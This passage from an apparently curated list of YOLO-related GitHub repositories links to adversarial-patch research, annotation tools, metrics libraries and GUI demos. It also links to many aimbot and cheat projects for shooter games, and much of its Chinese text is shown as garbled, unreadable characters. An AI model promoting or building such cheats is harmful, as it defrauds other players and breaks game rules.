- [sowgali/ObjCAM](https://github.com/sowgali/ObjCAM) <img src="https://img.shields.io/github/stars/sowgali/ObjCAM?style=social"/> : Visualizations for adversarial attacks in object detectors like YOLO.
- [andrewpatrickdu/adversarial-yolov3-cowc](https://github.com/andrewpatrickdu/adversarial-yolov3-cowc) <img src="https://img.shields.io/github/stars/andrewpatrickdu/adversarial-yolov3-cowc?style=social"/> : "Physical Adversarial Attacks on an Aerial Imagery Object Detector". (**[WACV 2022](https://openaccess.thecvf.com/content/WACV2022/html/Du_Physical_Adversarial_Attacks_on_an_Aerial_Imagery_Object_Detector_WACV_2022_paper.html)**)
- [IQTLabs/camolo](https://github.com/IQTLabs/camolo) <img src="https://img.shields.io/github/stars/IQTLabs/camolo?style=social"/> : Camouflage YOLO - (CAMOLO) trains adversarial patches to confuse the YOLO family of object detectors.
- [AdvTexture](https://github.com/WhoTHU/Adversarial_Texture) <img src="https://img.shields.io/github/stars/WhoTHU/Adversarial_Texture?style=social"/> : "Adversarial Texture for Fooling Person Detectors in the Physical World". (**[CVPR 2022](https://openaccess.thecvf.com/content/CVPR2022/html/Hu_Adversarial_Texture_for_Fooling_Person_Detectors_in_the_Physical_World_CVPR_2022_paper.html)**). "็ฅไนใWhoTHใใ[CVPR2022 Oral ็ฉ็ๅฏนๆๆ ทๆฌ ๅฆไฝๅไธไปถโ้ๅฝข่กฃโ](https://zhuanlan.zhihu.com/p/499854846)ใ"ใ
- [SamSamhuns/yolov5_adversarial](https://github.com/SamSamhuns/yolov5_adversarial) <img src="https://img.shields.io/github/stars/SamSamhuns/yolov5_adversarial?style=social"/> : Generate adversarial patches against YOLOv5 ๐
- ### Game Field Detection
#### ๆธธๆ้ขๅๆฃๆต
- [petercunha/Pine](https://github.com/petercunha/Pine) <img src="https://img.shields.io/github/stars/petercunha/Pine?style=social"/> : ๐ฒ Aimbot powered by real-time object detection with neural networks, GPU accelerated with Nvidia. Optimized for use with CS:GO.
- [chaoyu1999/FPSAutomaticAiming](https://github.com/chaoyu1999/FPSAutomaticAiming) <img src="https://img.shields.io/github/stars/chaoyu1999/FPSAutomaticAiming?style=social"/> : ๅบไบyolov5็FPS็ฑปๆธธๆAI่ช็AIใ
- [Lu-tju/CSGO_AI](https://github.com/Lu-tju/CSGO_AI) <img src="https://img.shields.io/github/stars/Lu-tju/CSGO_AI?style=social"/> : ๅบไบYOLOv3็csgo่ช็ใ
- [kir486680/csgo_aim](https://github.com/kir486680/csgo_aim) <img src="https://img.shields.io/github/stars/kir486680/csgo_aim?style=social"/> : Aim assist for CSGO with python and yolo.
- [c925777075/yolov5-dnf](https://github.com/c925777075/yolov5-dnf) <img src="https://img.shields.io/github/stars/c925777075/yolov5-dnf?style=social"/> : yolov5-DNF.
- [davidhoung2/APEX-yolov5-aim-assist](https://github.com/davidhoung2/APEX-yolov5-aim-assist) <img src="https://img.shields.io/github/stars/davidhoung2/APEX-yolov5-aim-assist?style=social"/> : using yolov5 to help you aim enemies.
- [Brednan/CSGO-Aimbot](https://github.com/Brednan/CSGO-Aimbot) <img src="https://img.shields.io/github/stars/Brednan/CSGO-Aimbot?style=social"/> : Aimbot for the FPS game CSGO. It uses YOLOv5 to detect enemy players on my screen, then moves my cursor to the location.
- [2319590263/yolov5-csgo](https://github.com/2319590263/yolov5-csgo) <img src="https://img.shields.io/github/stars/2319590263/yolov5-csgo?style=social"/> : ๅบไบyolov5ๅฎ็ฐ็csgo่ช็ใ
- [SCRN-VRC/YOLOv4-Tiny-in-UnityCG-HLSL](https://github.com/SCRN-VRC/YOLOv4-Tiny-in-UnityCG-HLSL) <img src="https://img.shields.io/github/stars/SCRN-VRC/YOLOv4-Tiny-in-UnityCG-HLSL?style=social"/> : A modern object detector inside fragment shaders.
- [qcjxs-hn/yolov5-csgo](https://github.com/qcjxs-hn/yolov5-csgo) <img src="https://img.shields.io/github/stars/qcjxs-hn/yolov5-csgo?style=social"/> : ่ฟๆฏไธไธชๆ นๆฎๆ็จๅ็csgo-aiๅๆ่ชๅทฑ่ฎญ็ป็ๆจกๅ๏ผ่ฟๆๆฐๆฎ้ใ
- [Sequoia](https://github.com/IgaoGuru/Sequoia) <img src="https://img.shields.io/github/stars/IgaoGuru/Sequoia?style=social"/> : A neural network for CounterStrike:GlobalOffensive character detection and classification. Built on a custom-made dataset (csgo-data-collector).
- [ItGarbager/aimcf_yolov5](https://github.com/ItGarbager/aimcf_yolov5) <img src="https://img.shields.io/github/stars/ItGarbager/aimcf_yolov5?style=social"/> : ไฝฟ็จyolov5็ฎๆณๅฎ็ฐcf่ง่ฒๅคด้จ้ขๆตใ
- [jiaran-takeme/Target-Detection-for-CSGO-by-YOLOv5](https://github.com/jiaran-takeme/Target-Detection-for-CSGO-by-YOLOv5) <img src="https://img.shields.io/github/stars/jiaran-takeme/Target-Detection-for-CSGO-by-YOLOv5?style=social"/> : Target Detection for CSGO by YOLOv5.
- [Lucid1ty/Yolov5ForCSGO](https://github.com/Lucid1ty/Yolov5ForCSGO) <img src="https://img.shields.io/github/stars/Lucid1ty/Yolov5ForCSGO?style=social"/> : CSGO character detection and auto aim.
- [leo4048111/Yolov5-LabelMaker-For-CSGO](https://github.com/leo4048111/Yolov5-LabelMaker-For-CSGO) <img src="https://img.shields.io/github/stars/leo4048111/Yolov5-LabelMaker-For-CSGO?style=social"/> : A simple tool for making CSGO dataset in YOLO format.
- [soloist-v/AutoStrike](https://github.com/soloist-v/AutoStrike) <img src="https://img.shields.io/github/stars/soloist-v/AutoStrike?style=social"/> : ไฝฟ็จyolov5่ชๅจ็ๅ๏ผๆฏๆfpsๆธธๆ ้ผ ๆ ็งปๅจๆงๅถ้่ฆ่ช่ก่ฐๆดใ
- [slyautomation/osrs_yolov5](https://github.com/slyautomation/osrs_yolov5) <img src="https://img.shields.io/github/stars/slyautomation/osrs_yolov5?style=social"/> : Yolov5 Object Detection In OSRS using Python code, Detecting Cows - Botting.
- [HarunoWindy/yolo-games-weights](https://github.com/HarunoWindy/yolo-games-weights) <img src="https://img.shields.io/github/stars/HarunoWindy/yolo-games-weights?style=social"/> : YOLOv5 vision deep-learning on detect games UI (current support: onmyoji) YOLOv5ๆทฑๅบฆๅญฆไน ่ฏๅซๆธธๆUI(็ฎๅๆฏๆ๏ผ้ด้ณๅธ).
- [mrathena/python.yolo.csgo.autoaim.helper](https://github.com/mrathena/python.yolo.csgo.autoaim.helper) <img src="https://img.shields.io/github/stars/mrathena/python.yolo.csgo.autoaim.helper?style=social"/> : Python Yolo v5 6.2 Csgo.
- [Aa-bN/AimYolo](https://github.com/Aa-bN/AimYolo) <img src="https://img.shields.io/github/stars/Aa-bN/AimYolo?style=social"/> : AIๅคๆโโๅบไบYOLOv5็ๅฐๅป็ฑปๆธธๆ็ๅ่พ
ๅฉใAn AI plug-in - targeting aid for shooting games based on YOLOv5.
- [suixin1424/cf-yolo-trt](https://github.com/suixin1424/cf-yolo-trt) <img src="https://img.shields.io/github/stars/suixin1424/cf-yolo-trt?style=social"/> : ๅบไบyolov5-trt็็ฉฟ่ถ็ซ็บฟai่ช็ใ
- [DuGuYifei/Yolov5_FPS_AICheatPrinciple](https://github.com/DuGuYifei/Yolov5_FPS_AICheatPrinciple) <img src="https://img.shields.io/github/stars/DuGuYifei/Yolov5_FPS_AICheatPrinciple?style=social"/> : The AI cheating principle of fps game. (This is only used for learning).
- [MistyAI/MistyFN](https://github.com/MistyAI/MistyFN) <img src="https://img.shields.io/github/stars/MistyAI/MistyFN?style=social"/> : Aimbot and Triggerbot for Fortnite based on artificial intelligence.
- [suixin1424/crossfire-yolo-TensorRT](https://github.com/suixin1424/crossfire-yolo-TensorRT) <img src="https://img.shields.io/github/stars/suixin1424/crossfire-yolo-TensorRT?style=social"/> : crossfire-yolo-TensorRT. ๅบไบyolo-trt็็ฉฟ่ถ็ซ็บฟai่ช็ใ
- [EthanH3514/AL_Yolo](https://github.com/EthanH3514/AL_Yolo) <img src="https://img.shields.io/github/stars/EthanH3514/AL_Yolo?style=social"/> : ๅบไบYolov5็Apex Legendๆธธๆ AI ่พ
็ๅคๆใ
- [SunOner/yolov8_aimbot](https://github.com/SunOner/yolov8_aimbot) <img src="https://img.shields.io/github/stars/SunOner/yolov8_aimbot?style=social"/> : Aim-bot based on AI for all FPS games.
- [bigQY/calabiyau-cheat](https://github.com/bigQY/calabiyau-cheat) <img src="https://img.shields.io/github/stars/bigQY/calabiyau-cheat?style=social"/> : ๅบไบyolov10็ๅกๆๅฝผไธ่ช็ใ
- ### Automatic Annotation Tools
#### ่ชๅจๆ ๆณจๅทฅๅ
ท
- [Label Studio](https://github.com/HumanSignal/label-studio) <img src="https://img.shields.io/github/stars/HumanSignal/label-studio?style=social"/> : Label Studio is a multi-type data labeling and annotation tool with standardized output format. [labelstud.io](https://labelstud.io/)
- [AnyLabeling](https://github.com/vietanhdev/anylabeling) <img src="https://img.shields.io/github/stars/vietanhdev/anylabeling?style=social"/> : ๐ AnyLabeling ๐. Effortless AI-assisted data labeling with AI support from YOLO, Segment Anything, MobileSAM!! [anylabeling.nrl.ai](https://anylabeling.nrl.ai/)
- [X-AnyLabeling](https://github.com/CVHub520/X-AnyLabeling) <img src="https://img.shields.io/github/stars/CVHub520/X-AnyLabeling?style=social"/> : ๐ซ X-AnyLabeling ๐ซ. X-AnyLabeling๏ผไธๆฌพๅค SOTA ๆจกๅ้ๆ็้ซ็บง่ชๅจๆ ๆณจๅทฅๅ
ท๏ผ Effortless data labeling with AI support from Segment Anything and other awesome models.
- [Label Anything](https://github.com/open-mmlab/playground/tree/main/label_anything) <img src="https://img.shields.io/github/stars/open-mmlab/playground?style=social"/> : OpenMMLab PlayGround: Semi-Automated Annotation with Label-Studio and SAM.
- [LabelImg](https://github.com/heartexlabs/labelImg) <img src="https://img.shields.io/github/stars/heartexlabs/labelImg?style=social"/> : ๐๏ธ LabelImg is a graphical image annotation tool and label object bounding boxes in images.
- [labelme](https://github.com/wkentaro/labelme) <img src="https://img.shields.io/github/stars/wkentaro/labelme?style=social"/> : Image Polygonal Annotation with Python (polygon, rectangle, circle, line, point and image-level flag annotation).
- [DarkLabel](https://github.com/darkpgmr/DarkLabel) <img src="https://img.shields.io/github/stars/darkpgmr/DarkLabel?style=social"/> : Video/Image Labeling and Annotation Tool.
- [AlexeyAB/Yolo_mark](https://github.com/AlexeyAB/Yolo_mark) <img src="https://img.shields.io/github/stars/AlexeyAB/Yolo_mark?style=social"/> : GUI for marking bounded boxes of objects in images for training neural network Yolo v3 and v2.
- [Cartucho/OpenLabeling](https://github.com/Cartucho/OpenLabeling) <img src="https://img.shields.io/github/stars/Cartucho/OpenLabeling?style=social"/> : Label images and video for Computer Vision applications.
- [CVAT](https://github.com/cvat-ai/cvat) <img src="https://img.shields.io/github/stars/cvat-ai/cvat?style=social"/> : Computer Vision Annotation Tool (CVAT). Annotate better with CVAT, the industry-leading data engine for machine learning. Used and trusted by teams at any scale, for data of any scale.
- [VoTT](https://github.com/Microsoft/VoTT) <img src="https://img.shields.io/github/stars/Microsoft/VoTT?style=social"/> : Visual Object Tagging Tool: An electron app for building end to end Object Detection Models from Images and Videos.
- [WangRongsheng/KDAT](https://github.com/WangRongsheng/KDAT) <img src="https://img.shields.io/github/stars/WangRongsheng/KDAT?style=social"/> : ไธไธชไธไธบ่ง่งๆนๅ็ฎๆ ๆฃๆตๅ
จๆต็จ็ๆ ๆณจๅทฅๅ
ท้๏ผๅ
จ็งฐ๏ผKill Object Detection Annotation Toolsใ
- [Rectlabel-support](https://github.com/ryouchinsa/Rectlabel-support) <img src="https://img.shields.io/github/stars/ryouchinsa/Rectlabel-support?style=social"/> : RectLabel - An image annotation tool to label images for bounding box object detection and segmentation.
- [cnyvfang/labelGo-Yolov5AutoLabelImg](https://github.com/cnyvfang/labelGo-Yolov5AutoLabelImg) <img src="https://img.shields.io/github/stars/cnyvfang/labelGo-Yolov5AutoLabelImg?style=social"/> : ๐YOLOV5 semi-automatic annotation tool (Based on labelImg)๐ไธไธชๅบไบlabelImgๅYOLOV5็ๅพๅฝขๅๅ่ชๅจๆ ๆณจๅทฅๅ
ทใ
- [CVUsers/Auto_maker](https://github.com/CVUsers/Auto_maker) <img src="https://img.shields.io/github/stars/CVUsers/Auto_maker?style=social"/> : ๆทฑๅบฆๅญฆไน ๆฐๆฎ่ชๅจๆ ๆณจๅจๅผๆบ ็ฎๆ ๆฃๆตๅๅพๅๅ็ฑป๏ผ้ซ็ฒพๅบฆ้ซๆ็๏ผใ
- [MyVision](https://github.com/OvidijusParsiunas/myvision) <img src="https://img.shields.io/github/stars/OvidijusParsiunas/myvision?style=social"/> : Computer vision based ML training data generation tool ๐
- [wufan-tb/AutoLabelImg](https://github.com/wufan-tb/AutoLabelImg) <img src="https://img.shields.io/github/stars/wufan-tb/AutoLabelImg?style=social"/> : auto-labelimg based on yolov5, with many other useful tools. AutoLabelImg ๅคๅ่ฝ่ชๅจๆ ๆณจๅทฅๅ
ทใ
- [MrZander/YoloMarkNet](https://github.com/MrZander/YoloMarkNet) <img src="https://img.shields.io/github/stars/MrZander/YoloMarkNet?style=social"/> : Darknet YOLOv2/3 annotation tool written in C#/WPF.
- [mahxn0/Yolov3_ForTextLabel](https://github.com/mahxn0/Yolov3_ForTextLabel) <img src="https://img.shields.io/github/stars/mahxn0/Yolov3_ForTextLabel?style=social"/> : ๅบไบyolov3็็ฎๆ /่ช็ถๅบๆฏๆๅญ่ชๅจๆ ๆณจๅทฅๅ
ทใ
- [MNConnor/YoloV5-AI-Label](https://github.com/MNConnor/YoloV5-AI-Label) <img src="https://img.shields.io/github/stars/MNConnor/YoloV5-AI-Label?style=social"/> : YoloV5 AI Assisted Labeling.
- [LILINOpenGitHub/Labeling-Tool](https://github.com/LILINOpenGitHub/Labeling-Tool) <img src="https://img.shields.io/github/stars/LILINOpenGitHub/Labeling-Tool?style=social"/> : Free YOLO AI labeling tool. YOLO AI labeling tool is a Windows app for labeling YOLO dataset.
- [whs0523003/YOLOv5_6.1_autolabel](https://github.com/whs0523003/YOLOv5_6.1_autolabel) <img src="https://img.shields.io/github/stars/whs0523003/YOLOv5_6.1_autolabel?style=social"/> : YOLOv5_6.1 ่ชๅจๆ ่ฎฐ็ฎๆ ๆกใ
- [2vin/PyYAT](https://github.com/2vin/PyYAT) <img src="https://img.shields.io/github/stars/2vin/PyYAT?style=social"/> : Semi-Automatic Yolo Annotation Tool In Python.
- [AlturosDestinations/Alturos.ImageAnnotation](https://github.com/AlturosDestinations/Alturos.ImageAnnotation) <img src="https://img.shields.io/github/stars/AlturosDestinations/Alturos.ImageAnnotation?style=social"/> : A collaborative tool for labeling image data for yolo.
- [stephanecharette/DarkMark](https://github.com/stephanecharette/DarkMark) <img src="https://img.shields.io/github/stars/stephanecharette/DarkMark?style=social"/> : Marking up images for use with Darknet.
- [2vin/yolo_annotation_tool](https://github.com/2vin/yolo_annotation_tool) <img src="https://img.shields.io/github/stars/2vin/yolo_annotation_tool?style=social"/> : Annotation tool for YOLO in opencv.
- [sanfooh/quick_yolo2_label_tool](https://github.com/sanfooh/quick_yolo2_label_tool) <img src="https://img.shields.io/github/stars/sanfooh/quick_yolo2_label_tool?style=social"/> : yoloๅฟซ้ๆ ๆณจๅทฅๅ
ท quick yolo2 label tool.
- [folkien/yaya](https://github.com/folkien/yaya) <img src="https://img.shields.io/github/stars/folkien/yaya?style=social"/> : YAYA - Yet annother YOLO annoter for images (in QT5). Support yolo format, image modifications, labeling and detecting with previously trained detector.
- [pylabel-project/pylabel](https://github.com/pylabel-project/pylabel) <img src="https://img.shields.io/github/stars/pylabel-project/pylabel?style=social"/> : Python library for computer vision labeling tasks. The core functionality is to translate bounding box annotations between different formats-for example, from coco to yolo.
- [opendatalab/labelU](https://github.com/opendatalab/labelU) <img src="https://img.shields.io/github/stars/opendatalab/labelU?style=social"/> : Uniform, Unlimited, Universal and Unbelievable Annotation Toolbox.
- ### Feature Map Visualization
#### ็นๅพๅพๅฏ่งๅ
- [pooya-mohammadi/yolov5-gradcam](https://github.com/pooya-mohammadi/yolov5-gradcam) <img src="https://img.shields.io/github/stars/pooya-mohammadi/yolov5-gradcam?style=social"/> : Visualizing Yolov5's layers using GradCam.
- [TorchCAM](https://github.com/frgfm/torch-cam) <img src="https://img.shields.io/github/stars/frgfm/torch-cam?style=social"/> : Class activation maps for your PyTorch models (CAM, Grad-CAM, Grad-CAM++, Smooth Grad-CAM++, Score-CAM, SS-CAM, IS-CAM, XGrad-CAM, Layer-CAM).
- [Him-wen/OD_Heatmap](https://github.com/Him-wen/OD_Heatmap) <img src="https://img.shields.io/github/stars/Him-wen/OD_Heatmap?style=social"/> : Heatmap visualization of the YOLO model using the Grad-CAM heatmap visualization method can Intuitively show which regions in the image contribute the most to the category classification.
- ### Object Detection Evaluation Metrics
#### ็ฎๆ ๆฃๆตๆง่ฝ่ฏไปทๆๆ
- [rafaelpadilla/review_object_detection_metrics](https://github.com/rafaelpadilla/review_object_detection_metrics) <img src="https://img.shields.io/github/stars/rafaelpadilla/review_object_detection_metrics?style=social"/> : Object Detection Metrics. 14 object detection metrics: mean Average Precision (mAP), Average Recall (AR), Spatio-Temporal Tube Average Precision (STT-AP). This project supports different bounding box formats as in COCO, PASCAL, Imagenet, etc. "A Comparative Analysis of Object Detection Metrics with a Companion Open-Source Toolkit". (**[Electronics 2021](https://www.mdpi.com/2079-9292/10/3/279)**)
- [rafaelpadilla/Object-Detection-Metrics](https://github.com/rafaelpadilla/Object-Detection-Metrics) <img src="https://img.shields.io/github/stars/rafaelpadilla/Object-Detection-Metrics?style=social"/> : Most popular metrics used to evaluate object detection algorithms. "A Survey on Performance Metrics for Object-Detection Algorithms". (**[IWSSIP 2020](https://ieeexplore.ieee.org/abstract/document/9145130)**)
- [Cartucho/mAP](https://github.com/Cartucho/mAP) <img src="https://img.shields.io/github/stars/Cartucho/mAP?style=social"/> : mean Average Precision - This code evaluates the performance of your neural net for object recognition.
- [Lightning-AI/metrics](https://github.com/Lightning-AI/metrics) <img src="https://img.shields.io/github/stars/Lightning-AI/metrics?style=social"/> : Machine learning metrics for distributed, scalable PyTorch applications.
- [open-mmlab/mmeval](https://github.com/open-mmlab/mmeval) <img src="https://img.shields.io/github/stars/open-mmlab/mmeval?style=social"/> : MMEval is a machine learning evaluation library that supports efficient and accurate distributed evaluation on a variety of machine learning frameworks.
- [laclouis5/globox](https://github.com/laclouis5/globox) <img src="https://img.shields.io/github/stars/laclouis5/globox?style=social"/> : A package to read and convert object detection databases (COCO, YOLO, PascalVOC, LabelMe, CVAT, OpenImage, ...) and evaluate them with COCO and PascalVOC metrics.
- ### GUI
#### ๅพๅฝข็จๆท็้ข
- #### Streamlit-Related
- [wjnwjn59/YOLOv10_Streamlit_Demo](https://github.com/wjnwjn59/YOLOv10_Streamlit_Demo) <img src="https://img.shields.io/github/stars/wjnwjn59/YOLOv10_Streamlit_Demo?style=social"/> : A simple object detection web demo using YOLOv10 and Streamlit.
- [streamlit/demo-self-driving](https://github.com/streamlit/demo-self-driving) <img src="https://img.shields.io/github/stars/streamlit/demo-self-driving?style=social"/> : Streamlit app demonstrating an image browser for the Udacity self-driving-car dataset with realtime object detection using YOLO.
- [CodingMantras/yolov8-streamlit-detection-tracking](https://github.com/CodingMantras/yolov8-streamlit-detection-tracking) <img src="https://img.shields.io/github/stars/CodingMantras/yolov8-streamlit-detection-tracking?style=social"/> : Object detection and tracking algorithm implemented for Real-Time video streams and static images.
- [JackDance/YOLOv8-streamlit-app](https://github.com/JackDance/YOLOv8-streamlit-app) <img src="https://img.shields.io/github/stars/JackDance/YOLOv8-streamlit-app?style=social"/> : ๐ฅ๐ฅ๐ฅ Use streamlit framework to increase yolov8 front-end page interaction function. "็ฅไนใMr.Luyaoใใ[ๆทฑๅบฆๅญฆไน /ๆบๅจๅญฆไน ้กน็ฎ็ๅ็ซฏๅฑ็คบๅฉๅจ--Streamlit](https://zhuanlan.zhihu.com/p/630029493)ใ"ใ
- [xugaoxiang/yolov5-streamlit](https://github.com/xugaoxiang/yolov5-streamlit) <img src="https://img.shields.io/github/stars/xugaoxiang/yolov5-streamlit?style=social"/> : Deploy YOLOv5 detection with Streamlit.
- [Kedreamix/YoloGesture](https://github.com/Kedreamix/YoloGesture) <img src="https://img.shields.io/github/stars/Kedreamix/YoloGesture?style=social"/> : ๅบไบ่ฎก็ฎๆบ่ง่งๆๅฟ่ฏๅซๆงๅถ็ณป็ปYoLoGesture (ๅฉ็จYOLOๅฎ็ฐ)๏ผๅฉ็จyolo่ฟ่กๆๅฟ่ฏๅซ็ๆงๅถ็ณป็ป๏ผๆๅๅฉ็จstreamlit่ฟ่กไบ้จ็ฝฒใ
- #### Gradio-Related
- [zyds/yolov5-code](https://github.com/zyds/yolov5-code) <img src="https://img.shields.io/github/stars/zyds/yolov5-code?style=social"/> : ๆๆๆๅธฆไฝ ๅฎๆ YOLOv5ใ
- [KdaiP/yolov8-deepsort-tracking](https://github.com/KdaiP/yolov8-deepsort-tracking) <img src="https://img.shields.io/github/stars/KdaiP/yolov8-deepsort-tracking?style=social"/> : opencv+yolov8+deepsort่กไบบๆฃๆตไธ่ท่ธช,ไปฅๅๅฏ้็WebUI็้ข๏ผๅบไบgradio๏ผใ
- #### QT-Related
- [Ai-trainee/Traffic-Sign-Recognition-PyQt5-YOLOv5-GUI](https://github.com/Ai-trainee/Traffic-Sign-Recognition-PyQt5-YOLOv5-GUI) <img src="https://img.shields.io/github/stars/Ai-trainee/Traffic-Sign-Recognition-PyQt5-YOLOv5-GUI?style=social"/> : Road Sign Recognition Project Based on YOLOv5. This is a road sign recognition project based on YOLOv5, developed with a PyQt5 interface, YOLOv5 trained model, and MySQL database. ่ฟๆฏไธไธชๅบไบYOLOv5๐็้่ทฏๆ ๅฟ่ฏๅซ็ณป็ป๐๏ผไฝฟ็จไบMySQLๆฐๆฎๅบ๐ฝ๏ผPyQt5่ฟ่ก็้ข่ฎพ่ฎก๐จ๏ผPyTorchๆทฑๅบฆๅญฆไน ๆกๆถๅTensorRT่ฟ่กๅ ้โก๏ผๅๆถๅ
ๅซไบCSSๆ ทๅผ๐ใ็ณป็ป็ฑไบไธชไธป่ฆๆจกๅ็ปๆ๏ผ็ณป็ป็ปๅฝๆจกๅ๐่ด่ดฃ็จๆท็ป้๏ผๅๅงๅๅๆฐๆจกๅ๐ๆไพYOLOv5ๆจกๅ็ๅๅงๅๅๆฐ่ฎพ็ฝฎ๏ผๆ ๅฟ่ฏๅซๆจกๅ๐ๆฏ็ณป็ป็ๆ ธๅฟ๏ผ่ด่ดฃๅฏน้่ทฏๆ ๅฟ่ฟ่ก่ฏๅซๅนถๅฐ็ปๆๅฏผๅ
ฅๆฐๆฎๅบ๏ผๆฐๆฎๅบๆจกๅ๐พๅ
ๅซๅบๆฌๆฐๆฎๅบๆไฝๅๆฐๆฎๅๆไธคไธชๅญๆจกๅ๏ผๅพๅๅค็ๆจกๅ๐ผ๏ธ่ด่ดฃๅไธชๅพๅ็ๅค็ๅๆฐๆฎๅขๅผบใๆดไธช็ณป็ปๆฏๆๅค็งๆฐๆฎ่พๅ
ฅๅๆจกๅๅๆข๏ผๆไพไบๅ
ๆฌmossicๅmixupๅจๅ
็ๅพๅๅขๅผบๆนๆณ๐ใ
- [parker-int64/yolov5-RGBD](https://github.com/parker-int64/yolov5-RGBD) <img src="https://img.shields.io/github/stars/parker-int64/yolov5-RGBD?style=social"/> : Qt QML based yolov5 + RGBD camera program.
- [Aimol-l/qml_with_yolov7](https://github.com/Aimol-l/qml_with_yolov7) <img src="https://img.shields.io/github/stars/Aimol-l/qml_with_yolov7?style=social"/> : ็จYOLOV7+ByteTrack็ๆนๆณ่ฏๅซ่ง้ข/่ง้ขๆต๏ผ็จQML็ปๅถGUI๏ผๅนถๅธฆๆ็ป่ฎกไฟกๆฏใ
- [xietx1995/YOLO-QT-Camera-Tool](https://github.com/xietx1995/YOLO-QT-Camera-Tool) <img src="https://img.shields.io/github/stars/xietx1995/YOLO-QT-Camera-Tool?style=social"/> : Detecting objects from camera or local video files vi qt and yolo.
- [Javacr/PyQt5-YOLOv5](https://github.com/Javacr/PyQt5-YOLOv5) <img src="https://img.shields.io/github/stars/Javacr/PyQt5-YOLOv5?style=social"/> : YOLOv5ๆฃๆต็้ข-PyQt5ๅฎ็ฐใ
- [zstar1003/yolov5_pyqt5](https://github.com/zstar1003/yolov5_pyqt5) <img src="https://img.shields.io/github/stars/zstar1003/yolov5_pyqt5?style=social"/> : ่ฟๆฏไธไธชไฝฟ็จpyqt5ๆญๅปบYOLOv5็ฎๆ ๆฃๆตๅฏ่งๅ็จๅบใ
- [scutlrr/Yolov4-QtGUI](https://github.com/scutlrr/Yolov4-QtGUI) <img src="https://img.shields.io/github/stars/scutlrr/Yolov4-QtGUI?style=social"/> : Yolov4-QtGUIๆฏๅบไบ[QtGuiDemo](https://github.com/jmu201521121021/QtGuiDemo)้กน็ฎๅผๅ็ๅฏ่งๅ็ฎๆ ๆฃๆต็้ข๏ผๅฏไปฅ็ฎไพฟ้ๆฉๆฌๅฐๅพ็ใๆๅๅคดๆฅๅฑ็คบๅพๅๅค็็ฎๆณ็็ปๆใ
- [xugaoxiang/yolov5-pyqt5](https://github.com/xugaoxiang/yolov5-pyqt5) <img src="https://img.shields.io/github/stars/xugaoxiang/yolov5-pyqt5?style=social"/> : ็ปyolov5ๅ ไธชgui็้ข๏ผไฝฟ็จpyqt5๏ผyolov5ๆฏ5.0็ๆฌใ
- [mxy493/YOLOv5-Qt](https://github.com/mxy493/YOLOv5-Qt) <img src="https://img.shields.io/github/stars/mxy493/YOLOv5-Qt?style=social"/> : ๅบไบYOLOv5็GUI็จๅบ๏ผๆฏๆ้ๆฉ่ฆไฝฟ็จ็ๆ้ๆไปถ๏ผ่ฎพ็ฝฎๆฏๅฆไฝฟ็จGPU๏ผ่ฎพ็ฝฎ็ฝฎไฟกๅบฆ้ๅผ็ญๅๆฐใ
- [BonesCat/YoloV5_PyQt5](https://github.com/BonesCat/YoloV5_PyQt5) <img src="https://img.shields.io/github/stars/BonesCat/YoloV5_PyQt5?style=social"/> : Add gui for YoloV5 using PyQt5.
- [LuckyBoy1798/yolov5-pyqt](https://github.com/LuckyBoy1798/yolov5-pyqt) <img src="https://img.shields.io/github/stars/LuckyBoy1798/yolov5-pyqt?style=social"/> : ๅบไบyolov5+pyqt็็ฒ้ชจๆๅพๅฝขๅๆฃๆตๅทฅๅ
ทใ
- [PySimpleGUI/PySimpleGUI-YOLO](https://github.com/PySimpleGUI/PySimpleGUI-YOLO) <img src="https://img.shields.io/github/stars/PySimpleGUI/PySimpleGUI-YOLO?style=social"/> : A YOLO Artificial Intelligence algorithm demonstration using PySimpleGUI.
- [prabindh/qt5-opencv3-darknet](https://github.com/prabindh/qt5-opencv3-darknet) <img src="https://img.shields.io/github/stars/prabindh/qt5-opencv3-darknet?style=social"/> : Qt5 + Darknet/Yolo + OpenCV3.
- [GinkgoX/YOLOv3GUI_Pytorch_PyQt5](https://github.com/GinkgoX/YOLOv3GUI_Pytorch_PyQt5) <img src="https://img.shields.io/github/stars/GinkgoX/YOLOv3GUI_Pytorch_PyQt5?style=social"/> : This is a GUI project for Deep Learning Object Detection based on YOLOv3 model.
- [FatemeZamanian/Yolov5-Fruit-Detector](https://github.com/FatemeZamanian/Yolov5-Fruit-Detector) <img src="https://img.shields.io/github/stars/FatemeZamanian/Yolov5-Fruit-Detector?style=social"/> : A program to recognize fruits on pictures or videos using yolov5.
- [BioMeasure/PyQt5_YoLoV5_DeepSort](https://github.com/BioMeasure/PyQt5_YoLoV5_DeepSort) <img src="https://img.shields.io/github/stars/BioMeasure/PyQt5_YoLoV5_DeepSort?style=social"/> : This is a PyQt5 GUI program, which is based on YoloV5 and DeepSort to track person.
- [DongLizhong/YOLO_SORT_QT](https://github.com/DongLizhong/YOLO_SORT_QT) <img src="https://img.shields.io/github/stars/DongLizhong/YOLO_SORT_QT?style=social"/> : This code uses the opencv dnn module to load the darknet model for detection and add SORT for multi-object tracking(MOT).
- [Whu-wxy/yolov5_deepsort_ncnn_qt](https://github.com/Whu-wxy/yolov5_deepsort_ncnn_qt) <img src="https://img.shields.io/github/stars/Whu-wxy/yolov5_deepsort_ncnn_qt?style=social"/> : ็จncnn่ฐ็จyolov5ๅdeep sortๆจกๅ๏ผopencv่ฏปๅ่ง้ขใ
- [jeswanthgalla/PyQt4_GUI_darknet_yolov4](https://github.com/jeswanthgalla/PyQt4_GUI_darknet_yolov4) <img src="https://img.shields.io/github/stars/jeswanthgalla/PyQt4_GUI_darknet_yolov4?style=social"/> : GUI App using PyQt4. Multithreading to process multiple camera streams and using darknet yolov4 model for object detection.
- [barleo01/yoloobjectdetector](https://github.com/barleo01/yoloobjectdetector) <img src="https://img.shields.io/github/stars/barleo01/yoloobjectdetector?style=social"/> : The pupose of this application is to capture video from a camera, apply a YOLO Object detector and display it on a simple Qt Gui.
- [Eagle104fred/PyQt5-Yolov5](https://github.com/Eagle104fred/PyQt5-Yolov5) <img src="https://img.shields.io/github/stars/Eagle104fred/PyQt5-Yolov5?style=social"/> : ๆYOLOv5็่ง้ขๆพ็คบๅฐpyqt5uiไธใ
- [cnyvfang/YOLOv5-GUI](https://github.com/cnyvfang/YOLOv5-GUI) <img src="https://img.shields.io/github/stars/Eagle104fred/PyQt5-Yolov5?style=social"/> : Qt-GUI implementation of the YOLOv5 algorithm (ver.6 and ver.5). YOLOv5็ฎๆณ(ver.6ๅver.5)็Qt-GUIๅฎ็ฐใ
